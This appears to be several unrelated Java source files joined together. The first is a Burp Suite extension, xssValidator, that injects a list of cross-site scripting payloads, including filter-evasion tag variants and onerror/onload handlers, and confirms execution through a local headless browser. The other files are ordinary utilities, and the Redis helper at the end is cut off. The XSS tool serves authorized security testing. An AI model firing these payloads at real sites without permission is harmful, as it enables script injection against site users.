public class BurpExtender implements IBurpExtender, ITab, IHttpListener,
IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor, IScannerCheck {
private static final String VERSION = "1.3.2";
public IBurpExtenderCallbacks mCallbacks;
private IExtensionHelpers helpers;
private PrintWriter stdout;
private PrintWriter stderr;
private HttpClient client;
private static String phantomServer = "http://127.0.0.1:8093";
private static String slimerServer = "http://127.0.0.1:8094";
public static String triggerPhrase = "299792458";
public static String grepPhrase = "fy7sdufsuidfhuisdf";
public static String errorGrepPhrase = "uerhgrgwgwiuhuiogj";
public JLabel htmlDescription;
public JPanel mainPanel;
public JPanel leftPanel;
public JPanel serverConfig;
public JPanel notice;
public JPanel rightPanel;
public JTextField phantomURL;
public JTextField slimerURL;
public JTextField grepVal;
public JTextField errorGrepVal;
public JTabbedPane tabbedPane;
public JButton btnAddText;
public JButton btnSaveTabAsTemplate;
public JButton btnRemoveTab;
public JTextField functionsTextfield;
public JTextArea attackStringsTextarea;
public JTextField eventHandlerTextfield;
public JScrollPane scrollingArea;
public static final String JAVASCRIPT_PLACEHOLDER = "{JAVASCRIPT}";
public static final String EVENTHANDLER_PLACEHOLDER = "{EVENTHANDLER}";
public static final byte[][] PAYLOADS = {
("<script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("<scr ipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr ipt>").getBytes(),
("\"><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("\"><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script><\"").getBytes(),
("'><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("'><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script><'").getBytes(),
("<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</SCRIPT>").getBytes(),
("<scri<script>pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</scr</script>ipt>").getBytes(),
("<SCRI<script>PT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</SCR</script>IPT>").getBytes(),
("<scri<scr<script>ipt>pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</scr</sc</script>ript>ipt>").getBytes(),
("\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";\"").getBytes(),
("';" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";'").getBytes(),
(";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";").getBytes(),
(BurpExtender.JAVASCRIPT_PLACEHOLDER + ";").getBytes(),
("<SCR%00IPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCR%00IPT>").getBytes(),
("\\\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";//").getBytes(),
("<STYLE TYPE=\"text/javascript\">"
+ BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</STYLE>").getBytes(),
("<<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "//<</SCRIPT>").getBytes(),
("\"" + BurpExtender.EVENTHANDLER_PLACEHOLDER + "="
+ BurpExtender.JAVASCRIPT_PLACEHOLDER + " ").getBytes(),
("<<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "//<</SCRIPT>").getBytes(),
("<img src=\"1\" onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\">").getBytes(),
("<img src='1' onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"").getBytes(),
("onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("onload=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"").getBytes(),
("onload='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("<IMG \"\"\"><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCRIPT>\">").getBytes(),
("<IMG '''><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCRIPT>'>").getBytes(),
("\"\"\"><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "").getBytes(),
("'''><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("<IFRAME SRC='f' onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"></IFRAME>").getBytes(),
("<IFRAME SRC='f' onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'></IFRAME>").getBytes()
};
public IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack) {
return new IntruderPayloadGenerator(this);
}
public String getGeneratorName() {
return "XSS Validator Payloads";
}
public String getProcessorName() {
return "XSS Validator";
}
public String getTabCaption() {
return "xssValidator";
}
public Component getUiComponent() {
return this.mainPanel;
}
/**
* Parse URL and cookie values from intruderRequest
* return for use in xss-detectors
*/
public String[] fetchRequestVals(byte[] intruderRequest, String proto) {
String request = this.helpers.bytesToString(intruderRequest);
String urlPattern = "(GET|POST) (.*) H";
String hostPattern = "Host: (.*)";
Pattern url = Pattern.compile(urlPattern);
Pattern host = Pattern.compile(hostPattern);
Matcher urlMatcher = url.matcher(request);
Matcher hostMatcher = host.matcher(request);
String intruderUrl = "";
String intruderHost = "";
// Find specific values
while (urlMatcher.find()) {
intruderUrl = urlMatcher.group(2);
}
while(hostMatcher.find()) {
intruderHost = hostMatcher.group(1);
}
intruderUrl = proto + "://" + intruderHost + intruderUrl;
String[] requestVals = new String[2];
requestVals[0] = intruderUrl;
requestVals[1] = request;
return requestVals;
}
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
if ((toolFlag != 32) || (!messageIsRequest)) {
if ((toolFlag == 32) && (!messageIsRequest)) {
boolean vulnerable;
// Grab request information from messageInfo.getRequest()
String[] requestInfo = fetchRequestVals(messageInfo.getRequest(), messageInfo.getHttpService().getProtocol());
vulnerable = sendToDetector(this.phantomURL.getText(), messageInfo, requestInfo);
// If Phantom.js doesn't process the payload, try slimer
if(!vulnerable)
vulnerable = sendToDetector(this.slimerURL.getText(), messageInfo, requestInfo);
}
}
}
public byte[] processPayload(byte[] currentPayload, byte[] originalPayload,
byte[] baseValue) {
return this.helpers.stringToBytes(this.helpers.urlEncode(this.helpers
.bytesToString(currentPayload)));
}
@Override
public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
/*
* Currently not supporting passive scans.
* The eventual plan is to keep a running log of all dynamically
* generated trigger phrases. This will allow us to compare each xss-detector
* response with the ongoing list to see if any previous payloads are executed.
* This will be useful in detecting stored XSS.
*/
return null;
}
public boolean sendToDetector(String detectorUrl, IHttpRequestResponse messageInfo, String[] requestInfo) {
HttpPost detector = new HttpPost(detectorUrl);
Boolean vulnerable = false;
String intruderURL = requestInfo[0];
String headers = requestInfo[1];
try {
// Encode page Response
byte[] encodedBytes = Base64.encodeBase64(messageInfo
.getResponse());
String encodedResponse = this.helpers
.bytesToString(encodedBytes);
// Encode URL
byte[] encodedURLBytes = Base64.encodeBase64(intruderURL.getBytes());
String encodedURL = this.helpers.bytesToString(encodedURLBytes);
// Encode Headers
byte[] encodedHeaderBytes = Base64.encodeBase64(headers.getBytes());
String encodedHeaders = this.helpers.bytesToString(encodedHeaderBytes);
List nameValuePairs = new ArrayList(3);
nameValuePairs.add(new BasicNameValuePair("http-response",
encodedResponse));
nameValuePairs.add(new BasicNameValuePair("http-url",
encodedURL));
nameValuePairs.add(new BasicNameValuePair("http-headers",
encodedHeaders));
detector
.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = this.client.execute(detector);
String responseAsString = EntityUtils.toString(response
.getEntity());
this.stdout.println("Response: " + responseAsString);
if (responseAsString.toLowerCase().contains(
BurpExtender.triggerPhrase.toLowerCase())) {
String newResponse = this.helpers
.bytesToString(messageInfo.getResponse())
+ this.grepVal.getText();
messageInfo.setResponse(this.helpers
.stringToBytes(newResponse));
this.stdout.println("XSS Found");
vulnerable = true;
}
String jsParseErrorIndicator="Probable XSS found: execution-error";
if (responseAsString.toLowerCase().contains(
jsParseErrorIndicator.toLowerCase())) {
String newResponse = this.helpers
.bytesToString(messageInfo.getResponse())
+ this.errorGrepVal.getText();
messageInfo.setResponse(this.helpers
.stringToBytes(newResponse));
this.stdout.println("Error based XSS Found");
// vulnerable = true;
}
}catch (Exception e) {
this.stderr.println(e.getMessage());
}
return vulnerable;
}
// helper method to search a response for occurrences of a literal match string
// and return a list of start/end offsets
private List<int[]> getMatches(byte[] response, byte[] match)
{
List<int[]> matches = new ArrayList<int[]>();
int start = 0;
while (start < response.length)
{
start = helpers.indexOf(response, match, true, start, response.length);
if (start == -1)
break;
matches.add(new int[] { start, start + match.length });
start += match.length;
}
return matches;
}
@Override
public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IntruderPayloadGenerator payloadGenerator = new IntruderPayloadGenerator(this);
BurpExtender.this.stdout.println("Beginning active scan with xssValidator");
// Prepare to start attacks
while(payloadGenerator.hasMorePayloads()) {
byte[] payload = payloadGenerator.getNextPayload(new byte[1]);
byte[] checkRequest = insertionPoint.buildRequest(payload);
IHttpRequestResponse messageInfo = mCallbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
boolean vulnerable;
String[] requestInfo = fetchRequestVals(messageInfo.getRequest(), messageInfo.getHttpService().getProtocol());
vulnerable = sendToDetector(this.phantomURL.getText(), messageInfo, requestInfo);
// If Phantom.js doesn't process the payload, try slimer
if(!vulnerable)
vulnerable = sendToDetector(this.slimerURL.getText(), messageInfo, requestInfo);
// Update this to actually detect matches
List<int[]> matches = getMatches(messageInfo.getResponse(), triggerPhrase.getBytes());
if(vulnerable) {
String payloadStr = new String(payload);
// get the offsets of the payload within the request, for in-UI highlighting
List<int[]> requestHighlights = new ArrayList<>(1);
requestHighlights.add(insertionPoint.getPayloadOffsets(payload));
// report the issue
List<IScanIssue> issues = new ArrayList<>(1);
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
helpers.analyzeRequest(baseRequestResponse).getUrl(),
new IHttpRequestResponse[] { mCallbacks.applyMarkers(messageInfo, requestHighlights, matches) },
"Cross-Site Scripting (xssValidator)",
"xssValidator has determined that the application is vulnerable to reflected Cross-Site Scripting by injecting " +
"the payload into the application successfully. When executed within a scriptable browser " +
"the payload was found to execute, validating the vulnerability.",
"High"));
return issues;
}
}
return null;
}
@Override
public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) {
// This method is called when multiple issues are reported for the same URL
// path by the same extension-provided check. The value we return from this
// method determines how/whether Burp consolidates the multiple issues
// to prevent duplication
// Since the issue name is sufficient to identify our issues as different,
// if both issues have the same name, only report the existing issue
// otherwise report both issues
if (existingIssue.getIssueName().equals(newIssue.getIssueName()))
return -1;
else return 0;
}
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
this.mCallbacks = callbacks;
this.client = HttpClientBuilder.create().build();
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("XSS Validator Payloads");
this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.stderr = new PrintWriter(callbacks.getStderr(), true);
callbacks.registerIntruderPayloadGeneratorFactory(this);
callbacks.registerIntruderPayloadProcessor(this);
callbacks.registerHttpListener(this);
callbacks.registerScannerCheck(this);
SwingUtilities.invokeLater(new Runnable() {
public void run() {
BurpExtender.this.functionsTextfield = new JTextField(30);
BurpExtender.this.functionsTextfield
.setText("alert,console.log,confirm,prompt");
BurpExtender.this.eventHandlerTextfield = new JTextField(30);
BurpExtender.this.eventHandlerTextfield
.setText("onmousemove,onmouseout,onmouseover");
BurpExtender.this.mainPanel = new JPanel(new GridLayout(1, 2));
BurpExtender.this.leftPanel = new JPanel(new GridLayout(2, 1));
BurpExtender.this.rightPanel = new JPanel();
/*
* Notice Stuff
*/
BurpExtender.this.notice = new JPanel();
JLabel titleLabel = new JLabel("<html><center><h2>xssValidator</h2>Created By: <em>John Poulin</em> (@forced-request)<br />\n" +
"Version: " + BurpExtender.this.VERSION + "</center><br />");
String initialText = "<html>\n" +
"<em>xssValidator is an intruder extender with a customizable list of payloads, \n" +
"that couples<br />with the Phantom.js and Slimer.js scriptable browsers to provide validation<br />\n" +
"of cross-site scripting vulnerabilities.</em><br /><br />\n" +
"<b>Getting started:</b>\n" +
"<ul>\n" +
" <li>Download latest version of xss-detectors from the git repository</li>\n" +
" <li>Start the phantom server: phantomjs xss.js</li>\n" +
" <li>Create a new intruder tab, select <em>Extension-generated</em> \n" +
" payload.</li>" +
" <li>Under the intruder options tab, add the <em>Grep Phrase</em> to \n" +
" the <em>Grep-Match</em> panel</li>" +
" <li>Successful attacks will be denoted by presence of the <em>Grep Phrase</em>\n" +
"</ul>\n";
BurpExtender.this.htmlDescription = new JLabel(initialText);
BurpExtender.this.notice.add(titleLabel);
BurpExtender.this.notice.add(BurpExtender.this.htmlDescription);
/*
Server Config
*/
BurpExtender.this.serverConfig = new JPanel(new GridLayout(6,2));
BurpExtender.this.phantomURL = new JTextField(20);
BurpExtender.this.phantomURL
.setText(BurpExtender.phantomServer);
BurpExtender.this.slimerURL = new JTextField(20);
BurpExtender.this.slimerURL.setText(BurpExtender.slimerServer);
BurpExtender.this.grepVal = new JTextField(20);
BurpExtender.this.grepVal.setText(BurpExtender.grepPhrase);
BurpExtender.this.errorGrepVal = new JTextField(20);
BurpExtender.this.errorGrepVal.setText(BurpExtender.errorGrepPhrase);
JLabel phantomHeading = new JLabel("PhantomJS Server Settings");
JLabel slimerHeading = new JLabel("Slimer Server Settings");
JLabel grepHeading = new JLabel("Grep Phrase");
JLabel errorGrepHeading = new JLabel("Grep Phrase for JS crash");
BurpExtender.this.serverConfig.add(phantomHeading);
BurpExtender.this.serverConfig
.add(BurpExtender.this.phantomURL);
BurpExtender.this.serverConfig.add(slimerHeading);
BurpExtender.this.serverConfig.add(BurpExtender.this.slimerURL);
BurpExtender.this.serverConfig.add(grepHeading);
BurpExtender.this.serverConfig.add(BurpExtender.this.grepVal);
BurpExtender.this.serverConfig.add(errorGrepHeading);
BurpExtender.this.serverConfig.add(BurpExtender.this.errorGrepVal);
JLabel functionsLabel = new JLabel("Javascript functions");
BurpExtender.this.serverConfig.add(functionsLabel);
BurpExtender.this.serverConfig
.add(BurpExtender.this.functionsTextfield);
JLabel eventHandlerLabel = new JLabel(
"Javascript event handlers");
BurpExtender.this.serverConfig.add(eventHandlerLabel);
BurpExtender.this.serverConfig
.add(BurpExtender.this.eventHandlerTextfield);
/*
* Right Panel
*/
String payloads = "";
for (byte[] bs:BurpExtender.PAYLOADS) {
payloads += new String(bs) + "\n";
}
BurpExtender.this.attackStringsTextarea = new JTextArea(30, 50);
BurpExtender.this.attackStringsTextarea.setText(payloads);
BurpExtender.this.scrollingArea = new JScrollPane(
BurpExtender.this.attackStringsTextarea,
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS);
JLabel payloadLabel = new JLabel("<html><center><h3>Payloads</h3>Custom Payloads \n" +
"can be defined here, seperated by linebreaks.<Br /></center><ul><li><b>{JAVASCRIPT}</b>\n" +
"placeholders define the location of the Javascript function.</li>\n" +
"<li><b>{EVENTHANDLER}</b> placeholders define location of Javascript events, <br />\n" +
"such as onmouseover, that are tested via scriptable browsers.</li></ul>");
BurpExtender.this.rightPanel.add(payloadLabel);
BurpExtender.this.rightPanel
.add(BurpExtender.this.scrollingArea);
BurpExtender.this.leftPanel.add(BurpExtender.this.notice);
BurpExtender.this.leftPanel.add(BurpExtender.this.serverConfig);
BurpExtender.this.mainPanel.add(BurpExtender.this.leftPanel);
BurpExtender.this.mainPanel.add(BurpExtender.this.rightPanel);
BurpExtender.this.mCallbacks
.customizeUiComponent(BurpExtender.this.mainPanel);
BurpExtender.this.mCallbacks.addSuiteTab(BurpExtender.this);
}
});
}
class IntruderPayloadGenerator implements IIntruderPayloadGenerator {
int payloadIndex;
String[] functions = {"alert", "console.log", "confirm",
"prompt"};
String[] eventHandler = null;
int functionIndex = 0;
int eventHandlerIndex = 0;
BurpExtender extenderInstance = null;
String[] PAYLOADS = null;
IntruderPayloadGenerator(BurpExtender extenderInstance) {
this.extenderInstance = extenderInstance;
this.functions = extenderInstance.functionsTextfield.getText()
.split(",");
this.eventHandler = extenderInstance.eventHandlerTextfield
.getText().split(",");
// Add extra newline before processing to ensure that we can
// grab the last item from the list.
String payloads = extenderInstance.attackStringsTextarea.getText() + "\n";
this.PAYLOADS = payloads.split("\n");
}
public byte[] getNextPayload(byte[] baseValue) {
if ((this.eventHandler.length > 0)
&& (this.eventHandlerIndex >= this.eventHandler.length)) {
this.eventHandlerIndex = 0;
this.functionIndex += 1;
}
if (this.functionIndex >= this.functions.length) {
this.functionIndex = 0;
this.eventHandlerIndex = 0;
this.payloadIndex += 1;
}
String payload = this.PAYLOADS[this.payloadIndex];
boolean eventhandlerIsUsed = payload
.contains(BurpExtender.EVENTHANDLER_PLACEHOLDER);
// String nextPayload = new String(payload);
if (eventhandlerIsUsed) {
payload = payload.replace(
BurpExtender.EVENTHANDLER_PLACEHOLDER,
this.eventHandler[this.eventHandlerIndex]);
}
payload = payload.replace(BurpExtender.JAVASCRIPT_PLACEHOLDER,
this.functions[this.functionIndex] + "("
+ BurpExtender.triggerPhrase + ")");
BurpExtender.this.stdout.println("Payload conversion: " + payload);
if (!eventhandlerIsUsed) {
this.functionIndex += 1;
}
else {
this.eventHandlerIndex += 1;
}
return payload.getBytes();
}
public boolean hasMorePayloads() {
return this.payloadIndex < BurpExtender.PAYLOADS.length;
}
public void reset() {
this.payloadIndex = 0;
}
}
}
// class implementing IScanIssue to hold our custom scan issue details
class CustomScanIssue implements IScanIssue
{
private IHttpService httpService;
private URL url;
private IHttpRequestResponse[] httpMessages;
private String name;
private String detail;
private String severity;
public CustomScanIssue(
IHttpService httpService,
URL url,
IHttpRequestResponse[] httpMessages,
String name,
String detail,
String severity)
{
this.httpService = httpService;
this.url = url;
this.httpMessages = httpMessages;
this.name = name;
this.detail = detail;
this.severity = severity;
}
@Override
public URL getUrl()
{
return url;
}
@Override
public String getIssueName()
{
return name;
}
@Override
public int getIssueType()
{
return 0;
}
@Override
public String getSeverity()
{
return severity;
}
@Override
public String getConfidence()
{
return "Certain";
}
@Override
public String getIssueBackground()
{
return null;
}
@Override
public String getRemediationBackground()
{
return null;
}
@Override
public String getIssueDetail()
{
return detail;
}
@Override
public String getRemediationDetail()
{
return null;
}
@Override
public IHttpRequestResponse[] getHttpMessages()
{
return httpMessages;
}
@Override
public IHttpService getHttpService()
{
return httpService;
}
}
|
package com.splunk.shep.testutil;
import java.io.File;
import java.io.IOException;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
/**
* All the utils regarding hadoop FileSystem object goes in here. If there are
* exceptions while doing any operations the tests will fail with appropriate
* message.
*/
public class UtilsFileSystem {
/**
* Creates a local filesystem failing the test if it can't.
*/
public static FileSystem getLocalFileSystem() {
Configuration configuration = new Configuration();
try {
return FileSystem.getLocal(configuration);
} catch (IOException e) {
UtilsTestNG.failForException("Couldn't create a local filesystem",
e);
return null; // Will not be executed.
}
}
/**
* @return The file on specified path from specified filessystem.
*/
public static File getFileFromFileSystem(FileSystem fileSystem,
Path pathOftheFileOnRemote) {
File retrivedFile = UtilsFile.createTestFilePath();
Path localFilePath = new Path(retrivedFile.toURI());
try {
fileSystem.copyToLocalFile(pathOftheFileOnRemote, localFilePath);
} catch (IOException e) {
UtilsTestNG.failForException(
"Can't retrive the file from remote filesystem", e);
}
return retrivedFile;
}
}
|
package cx2x.translator.language;
import cx2x.xcodeml.exception.IllegalDirectiveException;
import org.antlr.v4.runtime.BaseErrorListener;
import org.antlr.v4.runtime.RecognitionException;
import org.antlr.v4.runtime.Recognizer;
/**
* Listener that save the last error information from the CLAW language parser.
*
* @author clementval
*/
public class ClawErrorListener extends BaseErrorListener {
private static IllegalDirectiveException ex = null;
/**
* Default ctor
*/
public ClawErrorListener() {
}
@Override
public void syntaxError(Recognizer<?, ?> recognizer, Object offendingSymbol,
int line, int charPositionInLine,
String msg, RecognitionException e)
{
ex = new IllegalDirectiveException("", msg, line, charPositionInLine);
}
public IllegalDirectiveException getLastError() {
return ex;
}
}
|
package ucar.unidata.util;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Comparator;
import java.util.Date;
import java.util.List;
/**
* A utility class that implements DatedThing
*/
public class DatedObject implements DatedThing {
/** The date */
private Date date;
/** The object */
private Object object;
/**
* Default ctor
*/
public DatedObject() {}
/**
* Construct this object with just a date
*
* @param date the date
*/
public DatedObject(Date date) {
this(date, null);
}
/**
* Construct this object with a date and an object
*
* @param date the date
* @param object The object
*/
public DatedObject(Date date, Object object) {
this.date = date;
this.object = object;
}
/**
* Select and return the DatedThings taht have dates between the two given dates.
*
* @param startDate Start date
* @param endDate End date
* @param datedThings DatedThing-s to look at
*
* @return List of DatedThing-s that are between the given dates
*/
public static List select(Date startDate, Date endDate,
List datedThings) {
if (startDate.getTime() > endDate.getTime()) {
Date tmp = startDate;
startDate = endDate;
endDate = tmp;
}
long t1 = startDate.getTime();
long t2 = endDate.getTime();
List selected = new ArrayList();
for (int i = 0; i < datedThings.size(); i++) {
DatedThing datedThing = (DatedThing) datedThings.get(i);
long time = datedThing.getDate().getTime();
if ((time >= t1) && (time <= t2)) {
selected.add(datedThing);
}
}
return selected;
}
/**
* A utility method that takes a list of dates and returns a list of DatedObjects
*
* @param dates List of dates to wrap
* @return A list of DatedObjects
*/
public static List wrap(List dates) {
List result = new ArrayList();
for (int i = 0; i < dates.size(); i++) {
result.add(new DatedObject((Date) dates.get(i)));
}
return result;
}
/**
* A utility method that takes a list of DatedThing-s and returns a list of Date-s
*
* @param datedThings List of dates to unwrap
* @return A list of Dates
*/
public static List unwrap(List datedThings) {
List result = new ArrayList();
for (int i = 0; i < datedThings.size(); i++) {
result.add(((DatedThing) datedThings.get(i)).getDate());
}
return result;
}
/**
* A utility method that takes a list of DatedObjects-s and returns a list of the objects
*
* @param datedObjects List of objects
* @return A list of the objects the datedobjects hold
*/
public static List getObjects(List datedObjects) {
List result = new ArrayList();
if (datedObjects == null) {
return result;
}
for (int i = 0; i < datedObjects.size(); i++) {
result.add(((DatedObject) datedObjects.get(i)).getObject());
}
return result;
}
/**
* Sort the given list of DatedThing-s
*
* @param datedThings list to sort
* @param ascending sort order
*
* @return sorted list
*/
public static List sort(List datedThings, final boolean ascending) {
Comparator comp = new Comparator() {
public int compare(Object o1, Object o2) {
DatedThing a1 = (DatedThing) o1;
DatedThing a2 = (DatedThing) o2;
int result = a1.getDate().compareTo(a2.getDate());
if ( !ascending) {
result = -result;
}
return result;
}
public boolean equals(Object obj) {
return obj == this;
}
};
Object[] array = datedThings.toArray();
Arrays.sort(array, comp);
List result = Arrays.asList(array);
datedThings = new ArrayList();
datedThings.addAll(result);
return datedThings;
}
/**
* equals method
*
* @param o object to check
*
* @return equals
*/
public boolean equals(Object o) {
if ( !(o instanceof DatedObject)) {
return false;
}
DatedObject that = (DatedObject) o;
if ( !this.date.equals(that.date)) {
return false;
}
if (this.object == null) {
return that.object == null;
}
if (that.object == null) {
return this.object == null;
}
return this.object.equals(that.object);
}
/**
* Set the Date property.
*
* @param value The new value for Date
*/
public void setDate(Date value) {
date = value;
}
/**
* Get the Date property.
*
* @return The Date
*/
public Date getDate() {
return date;
}
/**
* Set the Object property.
*
* @param value The new value for Object
*/
public void setObject(Object value) {
object = value;
}
/**
* Get the Object property.
*
* @return The Object
*/
public Object getObject() {
return object;
}
/**
* to string
*
* @return to string
*/
public String toString() {
if (object != null) {
return "" + object;
} else {
return "";
}
}
}
|
package classification;
import model.TweetInstance;
import cc.mallet.pipe.Pipe;
import cc.mallet.types.Instance;
import com.google.gson.JsonObject;
import com.google.gson.JsonParser;
public class TweetPipe extends Pipe {
public TweetPipe() {
super();
}
/**
* Takes the instance, grabs the source and sets the Instance's target as just
* the tweet text
* @param carrier
* @return
*/
public Instance pipe (Instance carrier) {
if (!(carrier instanceof TweetInstance)) {
return carrier;
}
else {
TweetInstance tweetI = (TweetInstance) carrier;
String target = getTweetText((String)tweetI.getSource());
tweetI.setTarget(target);
return tweetI;
}
}
private String getTweetText(String source) {
JsonParser parser = new JsonParser();
JsonObject o = (JsonObject) parser.parse(source);
return o.get("text").getAsString();
}
}
|
package com.zheng.common.util;
import org.apache.commons.lang.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import java.util.concurrent.locks.ReentrantLock;
public class RedisUtil {
protected static ReentrantLock lockPool = new ReentrantLock();
protected static ReentrantLock lockJedis = new ReentrantLock();
private static Logger _log = LoggerFactory.getLogger(RedisUtil.class);
// RedisIP
private static String IP = PropertiesFileUtil.getInstance("redis").get("master.redis.ip");
// Redis
private static int PORT = PropertiesFileUtil.getInstance("redis").getInt("master.redis.port");
private static String PASSWORD = AESUtil.AESDecode(PropertiesFileUtil.getInstance("redis").get("master.redis.password"));
// -1poolmaxActivejedispoolexhausted()
private static int MAX_ACTIVE = PropertiesFileUtil.getInstance("redis").getInt("master.redis.max_active");
// poolidle()jedis8
private static int MAX_IDLE = PropertiesFileUtil.getInstance("redis").getInt("master.redis.max_idle");
// -1JedisConnectionException
private static int MAX_WAIT = PropertiesFileUtil.getInstance("redis").getInt("master.redis.max_wait");
private static int TIMEOUT = PropertiesFileUtil.getInstance("redis").getInt("master.redis.timeout");
// borrowjedisvalidatetruejedis
private static boolean TEST_ON_BORROW = false;
private static JedisPool jedisPool = null;
/**
* redis,
*/
public final static int EXRP_HOUR = 60 * 60;
public final static int EXRP_DAY = 60 * 60 * 24;
public final static int EXRP_MONTH = 60 * 60 * 24 * 30;
/**
* Redis
*/
private static void initialPool() {
try {
JedisPoolConfig config = new JedisPoolConfig();
config.setMaxTotal(MAX_ACTIVE);
config.setMaxIdle(MAX_IDLE);
config.setMaxWaitMillis(MAX_WAIT);
config.setTestOnBorrow(TEST_ON_BORROW);
jedisPool = new JedisPool(config, IP, PORT, TIMEOUT);
} catch (Exception e) {
_log.error("First create JedisPool error : " + e);
}
}
private static synchronized void poolInit() {
if (null == jedisPool) {
initialPool();
}
}
/**
* Jedis
* @return Jedis
*/
public synchronized static Jedis getJedis() {
poolInit();
Jedis jedis = null;
try {
if (null != jedisPool) {
jedis = jedisPool.getResource();
try {
jedis.auth(PASSWORD);
} catch (Exception e) {
}
}
} catch (Exception e) {
_log.error("Get jedis error : " + e);
}
return jedis;
}
/**
* String
* @param key
* @param value
*/
public synchronized static void set(String key, String value) {
Jedis jedis = null;
try {
value = StringUtils.isBlank(value) ? "" : value;
jedis = getJedis();
jedis.set(key, value);
} catch (Exception e) {
_log.error("Set key error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
/**
* byte[]
* @param key
* @param value
*/
public synchronized static void set(byte[] key, byte[] value) {
Jedis jedis = null;
try {
jedis = getJedis();
jedis.set(key, value);
} catch (Exception e) {
_log.error("Set key error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
/**
* String
* @param key
* @param value
* @param seconds
*/
public synchronized static void set(String key, String value, int seconds) {
Jedis jedis = null;
try {
value = StringUtils.isBlank(value) ? "" : value;
jedis = getJedis();
jedis.setex(key, seconds, value);
} catch (Exception e) {
_log.error("Set keyex error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
/**
* byte[]
* @param key
* @param value
* @param seconds
*/
public synchronized static void set(byte[] key, byte[] value, int seconds) {
Jedis jedis = null;
try {
jedis = getJedis();
jedis.set(key, value);
jedis.expire(key, seconds);
} catch (Exception e) {
_log.error("Set key error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
/**
* String
* @param key
* @return value
*/
public synchronized static String get(String key) {
Jedis jedis = null;
String value = null;
try {
jedis = getJedis();
if (null == jedis) {
return null;
}
value = jedis.get(key);
} catch (Exception e) {
_log.error("Get value error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
return value;
}
/**
* byte[]
* @param key
* @return value
*/
public synchronized static byte[] get(byte[] key) {
Jedis jedis = null;
byte[] value = null;
try {
jedis = getJedis();
if (null == jedis) {
return null;
}
value = jedis.get(key);
} catch (Exception e) {
_log.error("Get byte value error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
return value;
}
/**
*
* @param key
*/
public synchronized static void remove(String key) {
Jedis jedis = null;
try {
jedis = getJedis();
jedis.del(key);
} catch (Exception e) {
_log.error("Remove string key error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
/**
*
* @param key
*/
public synchronized static void remove(byte[] key) {
Jedis jedis = null;
try {
jedis = getJedis();
jedis.del(key);
} catch (Exception e) {
_log.error("Remove byte[] key error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
/**
* lpush
* @param key
* @param key
*/
public synchronized static void lpush(String key, String... strings) {
Jedis jedis = null;
try {
jedis = RedisUtil.getJedis();
jedis.lpush(key, strings);
} catch (Exception e) {
_log.error("lpush error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
/**
* lrem
* @param key
* @param count
* @param value
*/
public synchronized static void lrem(String key, long count, String value) {
Jedis jedis = null;
try {
jedis = RedisUtil.getJedis();
jedis.lrem(key, count, value);
} catch (Exception e) {
_log.error("lrem error : " + e);
} finally {
